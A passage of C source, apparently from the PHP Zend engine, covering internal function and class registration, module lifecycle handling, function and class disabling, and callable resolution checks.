*dtor = NULL, *clone = NULL, *__get = NULL, *__set = NULL, *__unset = NULL, *__isset = NULL, *__call = NULL, *__callstatic = NULL, *__tostring = NULL, *__debugInfo = NULL, *serialize_func = NULL, *unserialize_func = NULL; zend_string *lowercase_name; size_t fname_len; const char *lc_class_name = NULL; size_t class_name_len = 0; if (type==MODULE_PERSISTENT) { error_type = E_CORE_WARNING; } else { error_type = E_WARNING; } if (!target_function_table) { target_function_table = CG(function_table); } internal_function->type = ZEND_INTERNAL_FUNCTION; internal_function->module = EG(current_module); memset(internal_function->reserved, 0, ZEND_MAX_RESERVED_RESOURCES * sizeof(void*)); if (scope) { class_name_len = ZSTR_LEN(scope->name); if ((lc_class_name = zend_memrchr(ZSTR_VAL(scope->name), '\\', class_name_len))) { ++lc_class_name; class_name_len -= (lc_class_name - ZSTR_VAL(scope->name)); lc_class_name = zend_str_tolower_dup(lc_class_name, class_name_len); } else { lc_class_name = zend_str_tolower_dup(ZSTR_VAL(scope->name), class_name_len); } } while (ptr->fname) { fname_len = strlen(ptr->fname); internal_function->handler = ptr->handler; internal_function->function_name = zend_string_init_interned(ptr->fname, fname_len, 1); internal_function->scope = scope; internal_function->prototype = NULL; if (ptr->flags) { if (!(ptr->flags & ZEND_ACC_PPP_MASK)) { if (ptr->flags != ZEND_ACC_DEPRECATED && scope) { zend_error(error_type, "Invalid access level for %s%s%s() - access must be exactly one of public, protected or private", scope ? ZSTR_VAL(scope->name) : "", scope ? "::" : "", ptr->fname); } internal_function->fn_flags = ZEND_ACC_PUBLIC | ptr->flags; } else { internal_function->fn_flags = ptr->flags; } } else { internal_function->fn_flags = ZEND_ACC_PUBLIC; } if (ptr->arg_info) { zend_internal_function_info *info = (zend_internal_function_info*)ptr->arg_info; internal_function->arg_info = (zend_internal_arg_info*)ptr->arg_info+1; internal_function->num_args = ptr->num_args; /* Currently you cannot denote that the function can accept less arguments than num_args */ if (info->required_num_args == (zend_uintptr_t)-1) { internal_function->required_num_args = ptr->num_args; } else { internal_function->required_num_args = info->required_num_args; } if (info->return_reference) { internal_function->fn_flags |= ZEND_ACC_RETURN_REFERENCE; } if (ptr->arg_info[ptr->num_args].is_variadic) { internal_function->fn_flags |= ZEND_ACC_VARIADIC; /* Don't count the variadic argument */ internal_function->num_args--; } if (ZEND_TYPE_IS_SET(info->type)) { if (ZEND_TYPE_IS_CLASS(info->type)) { const char *type_name = (const char*)info->type; if (type_name[0] == '?') { type_name++; } if (!scope && (!strcasecmp(type_name, "self") || !strcasecmp(type_name, "parent"))) { zend_error_noreturn(E_CORE_ERROR, "Cannot declare a return type of %s outside of a class scope", type_name); } } internal_function->fn_flags |= ZEND_ACC_HAS_RETURN_TYPE; } } else { internal_function->arg_info = NULL; internal_function->num_args = 0; internal_function->required_num_args = 0; } zend_set_function_arg_flags((zend_function*)internal_function); if (ptr->flags & ZEND_ACC_ABSTRACT) { if (scope) { /* This is a class that must be abstract itself. Here we set the check info. */ scope->ce_flags |= ZEND_ACC_IMPLICIT_ABSTRACT_CLASS; if (!(scope->ce_flags & ZEND_ACC_INTERFACE)) { /* Since the class is not an interface it needs to be declared as a abstract class. */ /* Since here we are handling internal functions only we can add the keyword flag. */ /* This time we set the flag for the keyword 'abstract'. */ scope->ce_flags |= ZEND_ACC_EXPLICIT_ABSTRACT_CLASS; } } if (ptr->flags & ZEND_ACC_STATIC && (!scope || !(scope->ce_flags & ZEND_ACC_INTERFACE))) { zend_error(error_type, "Static function %s%s%s() cannot be abstract", scope ? ZSTR_VAL(scope->name) : "", scope ? "::" : "", ptr->fname); } } else { if (scope && (scope->ce_flags & ZEND_ACC_INTERFACE)) { efree((char*)lc_class_name); zend_error(error_type, "Interface %s cannot contain non abstract method %s()", ZSTR_VAL(scope->name), ptr->fname); return FAILURE; } if (!internal_function->handler) { if (scope) { efree((char*)lc_class_name); } zend_error(error_type, "Method %s%s%s() cannot be a NULL function", scope ? ZSTR_VAL(scope->name) : "", scope ? "::" : "", ptr->fname); zend_unregister_functions(functions, count, target_function_table); return FAILURE; } } lowercase_name = zend_string_tolower_ex(internal_function->function_name, 1); lowercase_name = zend_new_interned_string(lowercase_name); reg_function = malloc(sizeof(zend_internal_function)); memcpy(reg_function, &function, sizeof(zend_internal_function)); if (zend_hash_add_ptr(target_function_table, lowercase_name, reg_function) == NULL) { unload=1; free(reg_function); zend_string_release_ex(lowercase_name, 1); break; } /* If types of arguments have to be checked */ if (reg_function->common.arg_info && reg_function->common.num_args) { uint32_t i; for (i = 0; i < reg_function->common.num_args; i++) { if (ZEND_TYPE_IS_SET(reg_function->common.arg_info[i].type)) { reg_function->common.fn_flags |= ZEND_ACC_HAS_TYPE_HINTS; break; } } } if (reg_function->common.arg_info && (reg_function->common.fn_flags & (ZEND_ACC_HAS_RETURN_TYPE|ZEND_ACC_HAS_TYPE_HINTS))) { /* convert "const char*" class type names into "zend_string*" */ uint32_t i; uint32_t num_args = reg_function->common.num_args + 1; zend_arg_info *arg_info = reg_function->common.arg_info - 1; zend_arg_info *new_arg_info; if (reg_function->common.fn_flags & ZEND_ACC_VARIADIC) { num_args++; } new_arg_info = malloc(sizeof(zend_arg_info) * num_args); memcpy(new_arg_info, arg_info, sizeof(zend_arg_info) * num_args); reg_function->common.arg_info = new_arg_info + 1; for (i = 0; i < num_args; i++) { if (ZEND_TYPE_IS_CLASS(new_arg_info[i].type)) { const char *class_name = (const char*)new_arg_info[i].type; zend_bool allow_null = 0; zend_string *str; if (class_name[0] == '?') { class_name++; allow_null = 1; } str = zend_string_init_interned(class_name, strlen(class_name), 1); new_arg_info[i].type = ZEND_TYPE_ENCODE_CLASS(str, allow_null); } } } if (scope) { /* Look for ctor, dtor, clone */ if (zend_string_equals_literal(lowercase_name, "serialize")) { serialize_func = reg_function; } else if (zend_string_equals_literal(lowercase_name, "unserialize")) { unserialize_func = reg_function; } else if (ZSTR_VAL(lowercase_name)[0] != '_' || ZSTR_VAL(lowercase_name)[1] != '_') { reg_function = NULL; } else if (zend_string_equals_literal(lowercase_name, ZEND_CONSTRUCTOR_FUNC_NAME)) { ctor = reg_function; } else if (zend_string_equals_literal(lowercase_name, ZEND_DESTRUCTOR_FUNC_NAME)) { dtor = reg_function; if (internal_function->num_args) { zend_error(error_type, "Destructor %s::%s() cannot take arguments", ZSTR_VAL(scope->name), ptr->fname); } } else if (zend_string_equals_literal(lowercase_name, ZEND_CLONE_FUNC_NAME)) { clone = reg_function; } else if (zend_string_equals_literal(lowercase_name, ZEND_CALL_FUNC_NAME)) { __call = reg_function; } else if (zend_string_equals_literal(lowercase_name, ZEND_CALLSTATIC_FUNC_NAME)) { __callstatic = reg_function; } else if (zend_string_equals_literal(lowercase_name, ZEND_TOSTRING_FUNC_NAME)) { __tostring = reg_function; } else if (zend_string_equals_literal(lowercase_name, ZEND_GET_FUNC_NAME)) { __get = reg_function; scope->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(lowercase_name, ZEND_SET_FUNC_NAME)) { __set = reg_function; scope->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(lowercase_name, ZEND_UNSET_FUNC_NAME)) { __unset = reg_function; scope->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(lowercase_name, ZEND_ISSET_FUNC_NAME)) { __isset = reg_function; scope->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(lowercase_name, ZEND_DEBUGINFO_FUNC_NAME)) { __debugInfo = reg_function; } else { reg_function = NULL; } if (reg_function) { zend_check_magic_method_implementation(scope, reg_function, error_type); } } ptr++; count++; zend_string_release_ex(lowercase_name, 1); } if (unload) { /* before unloading, display all remaining bad function in the module */ if (scope) { efree((char*)lc_class_name); } while (ptr->fname) { fname_len = strlen(ptr->fname); lowercase_name = zend_string_alloc(fname_len, 0); zend_str_tolower_copy(ZSTR_VAL(lowercase_name), ptr->fname, fname_len); if (zend_hash_exists(target_function_table, lowercase_name)) { zend_error(error_type, "Function registration failed - duplicate name - %s%s%s", scope ? ZSTR_VAL(scope->name) : "", scope ? "::" : "", ptr->fname); } zend_string_efree(lowercase_name); ptr++; } zend_unregister_functions(functions, count, target_function_table); return FAILURE; } if (scope) { scope->constructor = ctor; scope->destructor = dtor; scope->clone = clone; scope->__call = __call; scope->__callstatic = __callstatic; scope->__tostring = __tostring; scope->__get = __get; scope->__set = __set; scope->__unset = __unset; scope->__isset = __isset; scope->__debugInfo = __debugInfo; scope->serialize_func = serialize_func; scope->unserialize_func = unserialize_func; if (ctor) { ctor->common.fn_flags |= ZEND_ACC_CTOR; if (ctor->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Constructor %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(ctor->common.function_name)); } } if (dtor) { dtor->common.fn_flags |= ZEND_ACC_DTOR; if (dtor->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Destructor %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(dtor->common.function_name)); } } if (clone) { if (clone->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "%s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(clone->common.function_name)); } } if (__call) { if (__call->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Method %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(__call->common.function_name)); } } if (__callstatic) { if (!(__callstatic->common.fn_flags & ZEND_ACC_STATIC)) { zend_error(error_type, "Method %s::%s() must be static", ZSTR_VAL(scope->name), ZSTR_VAL(__callstatic->common.function_name)); } __callstatic->common.fn_flags |= ZEND_ACC_STATIC; } if (__tostring) { if (__tostring->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Method %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(__tostring->common.function_name)); } } if (__get) { if (__get->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Method %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(__get->common.function_name)); } } if (__set) { if (__set->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Method %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(__set->common.function_name)); } } if (__unset) { if (__unset->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Method %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(__unset->common.function_name)); } } if (__isset) { if (__isset->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Method %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(__isset->common.function_name)); } } if (__debugInfo) { if (__debugInfo->common.fn_flags & ZEND_ACC_STATIC) { zend_error(error_type, "Method %s::%s() cannot be static", ZSTR_VAL(scope->name), ZSTR_VAL(__debugInfo->common.function_name)); } } if (ctor && (ctor->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE)) { zend_error_noreturn(E_CORE_ERROR, "Constructor %s::%s() cannot declare a return type", ZSTR_VAL(scope->name), ZSTR_VAL(ctor->common.function_name)); } if (dtor && (dtor->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE)) { zend_error_noreturn(E_CORE_ERROR, "Destructor %s::%s() cannot declare a return type", ZSTR_VAL(scope->name), ZSTR_VAL(dtor->common.function_name)); } if (clone && (clone->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE)) { zend_error_noreturn(E_CORE_ERROR, "%s::%s() cannot declare a return type", ZSTR_VAL(scope->name), ZSTR_VAL(clone->common.function_name)); } efree((char*)lc_class_name); } return SUCCESS; } /* }}} */ /* count=-1 means erase all functions, otherwise, * erase the first count functions */ ZEND_API void zend_unregister_functions(const zend_function_entry *functions, int count, HashTable *function_table) /* {{{ */ { const zend_function_entry *ptr = functions; int i=0; HashTable *target_function_table = function_table; zend_string *lowercase_name; size_t fname_len; if (!target_function_table) { target_function_table = CG(function_table); } while (ptr->fname) { if (count!=-1 && i>=count) { break; } fname_len = strlen(ptr->fname); lowercase_name = zend_string_alloc(fname_len, 0); zend_str_tolower_copy(ZSTR_VAL(lowercase_name), ptr->fname, fname_len); zend_hash_del(target_function_table, lowercase_name); zend_string_efree(lowercase_name); ptr++; i++; } } /* }}} */ ZEND_API int zend_startup_module(zend_module_entry *module) /* {{{ */ { if ((module = zend_register_internal_module(module)) != NULL && zend_startup_module_ex(module) == SUCCESS) { return SUCCESS; } return FAILURE; } /* }}} */ ZEND_API int zend_get_module_started(const char *module_name) /* {{{ */ { zend_module_entry *module; module = zend_hash_str_find_ptr(&module_registry, module_name, strlen(module_name)); return (module && module->module_started) ? SUCCESS : FAILURE; } /* }}} */ static int clean_module_class(zval *el, void *arg) /* {{{ */ { zend_class_entry *ce = (zend_class_entry *)Z_PTR_P(el); int module_number = *(int *)arg; if (ce->type == ZEND_INTERNAL_CLASS && ce->info.internal.module->module_number == module_number) { return ZEND_HASH_APPLY_REMOVE; } else { return ZEND_HASH_APPLY_KEEP; } } /* }}} */ static void clean_module_classes(int module_number) /* {{{ */ { zend_hash_apply_with_argument(EG(class_table), clean_module_class, (void *) &module_number); } /* }}} */ void module_destructor(zend_module_entry *module) /* {{{ */ { if (module->type == MODULE_TEMPORARY) { zend_clean_module_rsrc_dtors(module->module_number); clean_module_constants(module->module_number); clean_module_classes(module->module_number); } if (module->module_started && module->module_shutdown_func) { #if 0 zend_printf("%s: Module shutdown\n", module->name); #endif module->module_shutdown_func(module->type, module->module_number); } /* Deinitilaise module globals */ if (module->globals_size) { #ifdef ZTS if (*module->globals_id_ptr) { ts_free_id(*module->globals_id_ptr); } #else if (module->globals_dtor) { module->globals_dtor(module->globals_ptr); } #endif } module->module_started=0; if (module->type == MODULE_TEMPORARY && module->functions) { zend_unregister_functions(module->functions, -1, NULL); } #if HAVE_LIBDL if (module->handle && !getenv("ZEND_DONT_UNLOAD_MODULES")) { DL_UNLOAD(module->handle); } #endif } /* }}} */ ZEND_API void zend_activate_modules(void) /* {{{ */ { zend_module_entry **p = module_request_startup_handlers; while (*p) { zend_module_entry *module = *p; if (module->request_startup_func(module->type, module->module_number)==FAILURE) { zend_error(E_WARNING, "request_startup() for %s module failed", module->name); exit(1); } p++; } } /* }}} */ ZEND_API void zend_deactivate_modules(void) /* {{{ */ { EG(current_execute_data) = NULL; /* we're no longer executing anything */ zend_try { if (EG(full_tables_cleanup)) { zend_module_entry *module; ZEND_HASH_REVERSE_FOREACH_PTR(&module_registry, module) { if (module->request_shutdown_func) { #if 0 zend_printf("%s: Request shutdown\n", module->name); #endif module->request_shutdown_func(module->type, module->module_number); } } ZEND_HASH_FOREACH_END(); } else { zend_module_entry **p = module_request_shutdown_handlers; while (*p) { zend_module_entry *module = *p; module->request_shutdown_func(module->type, module->module_number); p++; } } } zend_end_try(); } /* }}} */ ZEND_API void zend_cleanup_internal_classes(void) /* {{{ */ { zend_class_entry **p = class_cleanup_handlers; while (*p) { zend_cleanup_internal_class_data(*p); p++; } } /* }}} */ ZEND_API void zend_post_deactivate_modules(void) /* {{{ */ { if (EG(full_tables_cleanup)) { zend_module_entry *module; ZEND_HASH_FOREACH_PTR(&module_registry, module) { if (module->post_deactivate_func) { module->post_deactivate_func(); } } ZEND_HASH_FOREACH_END(); ZEND_HASH_REVERSE_FOREACH_PTR(&module_registry, module) { if (module->type != MODULE_TEMPORARY) { break; } } ZEND_HASH_FOREACH_END_DEL(); } else { zend_module_entry **p = module_post_deactivate_handlers; while (*p) { zend_module_entry *module = *p; module->post_deactivate_func(); p++; } } } /* }}} */ /* return the next free module number */ ZEND_API int zend_next_free_module(void) /* {{{ */ { return zend_hash_num_elements(&module_registry) + 1; } /* }}} */ static zend_class_entry *do_register_internal_class(zend_class_entry *orig_class_entry, uint32_t ce_flags) /* {{{ */ { zend_class_entry *class_entry = malloc(sizeof(zend_class_entry)); zend_string *lowercase_name; *class_entry = *orig_class_entry; class_entry->type = ZEND_INTERNAL_CLASS; zend_initialize_class_data(class_entry, 0); class_entry->ce_flags = ce_flags | ZEND_ACC_CONSTANTS_UPDATED | ZEND_ACC_LINKED; class_entry->info.internal.module = EG(current_module); if (class_entry->info.internal.builtin_functions) { zend_register_functions(class_entry, class_entry->info.internal.builtin_functions, &class_entry->function_table, MODULE_PERSISTENT); } lowercase_name = zend_string_tolower_ex(orig_class_entry->name, 1); lowercase_name = zend_new_interned_string(lowercase_name); zend_hash_update_ptr(CG(class_table), lowercase_name, class_entry); zend_string_release_ex(lowercase_name, 1); return class_entry; } /* }}} */ /* If parent_ce is not NULL then it inherits from parent_ce * If parent_ce is NULL and parent_name isn't then it looks for the parent and inherits from it * If both parent_ce and parent_name are NULL it does a regular class registration * If parent_name is specified but not found NULL is returned */ ZEND_API zend_class_entry *zend_register_internal_class_ex(zend_class_entry *class_entry, zend_class_entry *parent_ce) /* {{{ */ { zend_class_entry *register_class; register_class = zend_register_internal_class(class_entry); if (parent_ce) { zend_do_inheritance(register_class, parent_ce); zend_build_properties_info_table(register_class); } return register_class; } /* }}} */ ZEND_API void zend_class_implements(zend_class_entry *class_entry, int num_interfaces, ...) /* {{{ */ { zend_class_entry *interface_entry; va_list interface_list; va_start(interface_list, num_interfaces); while (num_interfaces--) { interface_entry = va_arg(interface_list, zend_class_entry *); zend_do_implement_interface(class_entry, interface_entry); } va_end(interface_list); } /* }}} */ /* A class that contains at least one abstract method automatically becomes an abstract class. */ ZEND_API zend_class_entry *zend_register_internal_class(zend_class_entry *orig_class_entry) /* {{{ */ { return do_register_internal_class(orig_class_entry, 0); } /* }}} */ ZEND_API zend_class_entry *zend_register_internal_interface(zend_class_entry *orig_class_entry) /* {{{ */ { return do_register_internal_class(orig_class_entry, ZEND_ACC_INTERFACE); } /* }}} */ ZEND_API int zend_register_class_alias_ex(const char *name, size_t name_len, zend_class_entry *ce, int persistent) /* {{{ */ { zend_string *lcname; if (name[0] == '\\') { lcname = zend_string_alloc(name_len-1, persistent); zend_str_tolower_copy(ZSTR_VAL(lcname), name+1, name_len-1); } else { lcname = zend_string_alloc(name_len, persistent); zend_str_tolower_copy(ZSTR_VAL(lcname), name, name_len); } zend_assert_valid_class_name(lcname); lcname = zend_new_interned_string(lcname); ce = zend_hash_add_ptr(CG(class_table), lcname, ce); zend_string_release_ex(lcname, 0); if (ce) { if (!(ce->ce_flags & ZEND_ACC_IMMUTABLE)) { ce->refcount++; } return SUCCESS; } return FAILURE; } /* }}} */ ZEND_API int zend_set_hash_symbol(zval *symbol, const char *name, int name_length, zend_bool is_ref, int num_symbol_tables, ...) /* {{{ */ { HashTable *symbol_table; va_list symbol_table_list; if (num_symbol_tables <= 0) return FAILURE; if (is_ref) { ZVAL_MAKE_REF(symbol); } va_start(symbol_table_list, num_symbol_tables); while (num_symbol_tables-- > 0) { symbol_table = va_arg(symbol_table_list, HashTable *); zend_hash_str_update(symbol_table, name, name_length, symbol); Z_TRY_ADDREF_P(symbol); } va_end(symbol_table_list); return SUCCESS; } /* }}} */ /* Disabled functions support */ /* {{{ proto void display_disabled_function(void) Dummy function which displays an error when a disabled function is called. */ ZEND_API ZEND_FUNCTION(display_disabled_function) { zend_error(E_WARNING, "%s() has been disabled for security reasons", get_active_function_name()); } /* }}} */ ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */ { zend_internal_function *func; if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) { func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS); func->num_args = 0; func->arg_info = NULL; func->handler = ZEND_FN(display_disabled_function); return SUCCESS; } return FAILURE; } /* }}} */ #ifdef ZEND_WIN32 #pragma optimize("", off) #endif static zend_object *display_disabled_class(zend_class_entry *class_type) /* {{{ */ { zend_object *intern; intern = zend_objects_new(class_type); /* Initialize default properties */ if (EXPECTED(class_type->default_properties_count != 0)) { zval *p = intern->properties_table; zval *end = p + class_type->default_properties_count; do { ZVAL_UNDEF(p); p++; } while (p != end); } zend_error(E_WARNING, "%s() has been disabled for security reasons", ZSTR_VAL(class_type->name)); return intern; } #ifdef ZEND_WIN32 #pragma optimize("", on) #endif /* }}} */ static const zend_function_entry disabled_class_new[] = { ZEND_FE_END }; ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */ { zend_class_entry *disabled_class; zend_string *key; key = zend_string_alloc(class_name_length, 0); zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length); disabled_class = zend_hash_find_ptr(CG(class_table), key); zend_string_release_ex(key, 0); if (!disabled_class) { return FAILURE; } INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new); disabled_class->create_object = display_disabled_class; zend_hash_clean(&disabled_class->function_table); return SUCCESS; } /* }}} */ static int zend_is_callable_check_class(zend_string *name, zend_class_entry *scope, zend_fcall_info_cache *fcc, int *strict_class, char **error) /* {{{ */ { int ret = 0; zend_class_entry *ce; size_t name_len = ZSTR_LEN(name); zend_string *lcname; ALLOCA_FLAG(use_heap); ZSTR_ALLOCA_ALLOC(lcname, name_len, use_heap); zend_str_tolower_copy(ZSTR_VAL(lcname), ZSTR_VAL(name), name_len); *strict_class = 0; if (zend_string_equals_literal(lcname, "self")) { if (!scope) { if (error) *error = estrdup("cannot access self:: when no class scope is active"); } else { fcc->called_scope = zend_get_called_scope(EG(current_execute_data)); fcc->calling_scope = scope; if (!fcc->object) { fcc->object = zend_get_this_object(EG(current_execute_data)); } ret = 1; } } else if (zend_string_equals_literal(lcname, "parent")) { if (!scope) { if (error) *error = estrdup("cannot access parent:: when no class scope is active"); } else if (!scope->parent) { if (error) *error = estrdup("cannot access parent:: when current class scope has no parent"); } else { fcc->called_scope = zend_get_called_scope(EG(current_execute_data)); fcc->calling_scope = scope->parent; if (!fcc->object) { fcc->object = zend_get_this_object(EG(current_execute_data)); } *strict_class = 1; ret = 1; } } else if (zend_string_equals_literal(lcname, "static")) { zend_class_entry *called_scope = zend_get_called_scope(EG(current_execute_data)); if (!called_scope) { if (error) *error = estrdup("cannot access static:: when no class scope is active"); } else { fcc->called_scope = called_scope; fcc->calling_scope = called_scope; if (!fcc->object) { fcc->object = zend_get_this_object(EG(current_execute_data)); } *strict_class = 1; ret = 1; } } else if ((ce = zend_lookup_class_ex(name, NULL, 1)) != NULL) { zend_class_entry *scope; zend_execute_data *ex = EG(current_execute_data); while (ex && (!ex->func || !ZEND_USER_CODE(ex->func->type))) { ex = ex->prev_execute_data; } scope = ex ? ex->func->common.scope : NULL; fcc->calling_scope = ce; if (scope && !fcc->object) { zend_object *object = zend_get_this_object(EG(current_execute_data)); if (object && instanceof_function(object->ce, scope) && instanceof_function(scope, ce)) { fcc->object = object; fcc->called_scope = object->ce; } else { fcc->called_scope = ce; } } else { fcc->called_scope = fcc->object ? fcc->object->ce : ce; } *strict_class = 1; ret = 1; } else { if (error) zend_spprintf(error, 0, "class '%.*s' not found", (int)name_len, ZSTR_VAL(name)); } ZSTR_ALLOCA_FREE(lcname, use_heap); return ret; } /* }}} */ static zend_always_inline int zend_is_callable_check_func(int check_flags, zval *callable, zend_fcall_info_cache *fcc, int strict_class, char **error) /* {{{ */ { zend_class_entry *ce_org = fcc->calling_scope; int retval = 0; zend_string *mname, *cname; zend_string *lmname; const char *colon; size_t clen; HashTable *ftable; int call_via_handler = 0; zend_class_entry *scope; zval *zv; ALLOCA_FLAG(use_heap) fcc->calling_scope = NULL; if (!ce_org) { zend_function *func; zend_string *lmname; /* Check if function with given name exists. * This may be a compound name that includes namespace name */ if (UNEXPECTED(Z_STRVAL_P(callable)[0] == '\\')) { /* Skip leading \ */ ZSTR_ALLOCA_ALLOC(lmname, Z_STRLEN_P(callable) - 1, use_heap); zend_str_tolower_copy(ZSTR_VAL(lmname), Z_STRVAL_P(callable) + 1, Z_STRLEN_P(callable) - 1); func = zend_fetch_function(lmname); ZSTR_ALLOCA_FREE(lmname, use_heap); } else { lmname = Z_STR_P(callable); func = zend_fetch_function(lmname); if (!func) { ZSTR_ALLOCA_ALLOC(lmname, Z_STRLEN_P(callable), use_heap); zend_str_tolower_copy(ZSTR_VAL(lmname), Z_STRVAL_P(callable), Z_STRLEN_P(callable)); func = zend_fetch_function(lmname); ZSTR_ALLOCA_FREE(lmname, use_heap); } } if (EXPECTED(func != NULL)) { fcc->function_handler = func; return 1; } } /* Split name into class/namespace and method/function names */ if ((colon = zend_memrchr(Z_STRVAL_P(callable), ':', Z_STRLEN_P(callable))) != NULL && colon > Z_STRVAL_P(callable) && *(colon-1) == ':' ) { size_t mlen; colon--; clen = colon - Z_STRVAL_P(callable); mlen = Z_STRLEN_P(callable) - clen - 2; if (colon == Z_STRVAL_P(callable)) { if (error) *error = estrdup("invalid function name"); return 0; } /* This is a compound name. * Try to fetch class and then find static method. */ if (ce_org) { scope = ce_org; } else { scope = zend_get_executed_scope(); } cname = zend_string_init(Z_STRVAL_P(callable), clen, 0); if (!zend_is_callable_check_class(cname, scope, fcc, &strict_class, error)) { zend_string_release_ex(cname, 0); return 0; } zend_string_release_ex(cname, 0); ftable = &fcc->calling_scope->function_table; if (ce_org && !instanceof_function(ce_org, fcc->calling_scope)) { if (error) zend_spprintf(error, 0, "class '%s' is not a subclass of '%s'", ZSTR_VAL(ce_org->name), ZSTR_VAL(fcc->calling_scope->name)); return 0; } mname = zend_string_init(Z_STRVAL_P(callable) + clen + 2, mlen, 0); } else if (ce_org) { /* Try to fetch find static method of given class. */ mname = Z_STR_P(callable); zend_string_addref(mname); ftable = &ce_org->function_table; fcc->calling_scope = ce_org; } else { /* We already checked for plain function before. */ if (error && !(check_flags & IS_CALLABLE_CHECK_SILENT)) { zend_spprintf(error, 0, "function '%s' not found or invalid function name", Z_STRVAL_P(callable)); } return 0; } lmname = zend_string_tolower(mname); if (strict_class && fcc->calling_scope && zend_string_equals_literal(lmname, ZEND_CONSTRUCTOR_FUNC_NAME)) { fcc->function_handler = fcc->calling_scope->constructor; if (fcc->function_handler) { retval = 1; } } else if ((zv = zend_hash_find(ftable, lmname)) != NULL) { fcc->function_handler = Z_PTR_P(zv); retval = 1; if ((fcc->function_handler->op_array.fn_flags & ZEND_ACC_CHANGED) && !strict_class) { scope = zend_get_executed_scope(); if (scope && instanceof_function(fcc->function_handler->common.scope, scope)) { zv = zend_hash_find(&scope->function_table, lmname); if (zv != NULL) { zend_function *priv_fbc = Z_PTR_P(zv); if (priv_fbc->common.fn_flags & ZEND_ACC_PRIVATE && priv_fbc->common.scope == scope) { fcc->function_handler = priv_fbc; } } } } if (!(fcc->function_handler->common.fn_flags & ZEND_ACC_PUBLIC) && !(check_flags & IS_CALLABLE_CHECK_NO_ACCESS) && (fcc->calling_scope && ((fcc->object && fcc->calling_scope->__call) || (!fcc->object && fcc->calling_scope->__callstatic)))) { scope = zend_get_executed_scope(); if (fcc->function_handler->common.scope != scope || !zend_check_protected(zend_get_function_root_class(fcc->function_handler), scope)) { retval = 0; fcc->function_handler = NULL; goto get_function_via_handler; } } } else { get_function_via_handler: if (fcc->object && fcc->calling_scope == ce_org) { if (strict_class && ce_org->__call) { fcc->function_handler = zend_get_call_trampoline_func(ce_org, mname, 0); call_via_handler = 1; retval = 1; } else { fcc->function_handler = fcc->object->handlers->get_method(&fcc->object, mname, NULL); if (fcc->function_handler) { if (strict_class && (!fcc->function_handler->common.scope || !instanceof_function(ce_org, fcc->function_handler->common.scope))) { if (fcc->function_handler->common.fn_flags & ZEND_ACC_CALL_VIA_TRAMPOLINE) { if (fcc->function_handler->common.function_name) { zend_string_release_ex(fcc->function_handler->common.function_name, 0); } zend_free_trampoline(fcc->function_handler); } } else { retval = 1; call_via_handler = (fcc->function_handler->common.fn_flags & ZEND_ACC_CALL_VIA_TRAMPOLINE) != 0; } } } } else if (fcc->calling_scope) { if (fcc->calling_scope->get_static_method) { fcc->function_handler = fcc->calling_scope->get_static_method(fcc->calling_scope, mname); } else { fcc->function_handler = zend_std_get_static_method(fcc->calling_scope, mname, NULL); } if (fcc->function_handler) { retval = 1; call_via_handler = (fcc->function_handler->common.fn_flags & ZEND_ACC_CALL_VIA_TRAMPOLINE) != 0; if (call_via_handler && !fcc->object) { zend_object *object = zend_get_this_object(EG(current_execute_data)); if (object && instanceof_function(object->ce, fcc->calling_scope)) { fcc->object = object; } } } } } if (retval) { if (fcc->calling_scope && !call_via_handler) { if (fcc->function_handler->common.fn_flags & ZEND_ACC_ABSTRACT) { retval = 0; if (error) { zend_spprintf(error, 0, "cannot call abstract method %s::%s()", ZSTR_VAL(fcc->calling_scope->name), ZSTR_VAL(fcc->function_handler->common.function_name)); } } else if (!fcc->object && !(fcc->function_handler->common.fn_flags & ZEND_ACC_STATIC)) { retval = 0; if (error) { zend_spprintf(error, 0, "non-static method %s::%s() cannot be called statically", ZSTR_VAL(fcc->calling_scope->name), ZSTR_VAL(fcc->function_handler->common.function_name)); } } if (retval && !(fcc->function_handler->common.fn_flags & ZEND_ACC_PUBLIC) && !(check_flags & IS_CALLABLE_CHECK_NO_ACCESS)) { scope = zend_get_executed_scope(); if (fcc->function_handler->common.scope != scope) { if ((fcc->function_handler->common.fn_flags & ZEND_ACC_PRIVATE) || (!zend_check_protected(zend_get_function_root_class(fcc->function_handler), scope))) { if (error) { if (*error) { efree(*error); } zend_spprintf(error, 0, "cannot access %s method %s::%s()", zend_visibility_string(fcc->function_handler->common.fn_flags), ZSTR_VAL(fcc->calling_scope->name), ZSTR_VAL(fcc->function_handler->common.function_name)); } retval = 0; } } } } } else if (error && !(check_flags & IS_CALLABLE_CHECK_SILENT)) { if (fcc->calling_scope) { if (error) zend_spprintf(error, 0, "class '%s' does not have a method '%s'", ZSTR_VAL(fcc->calling_scope->name), 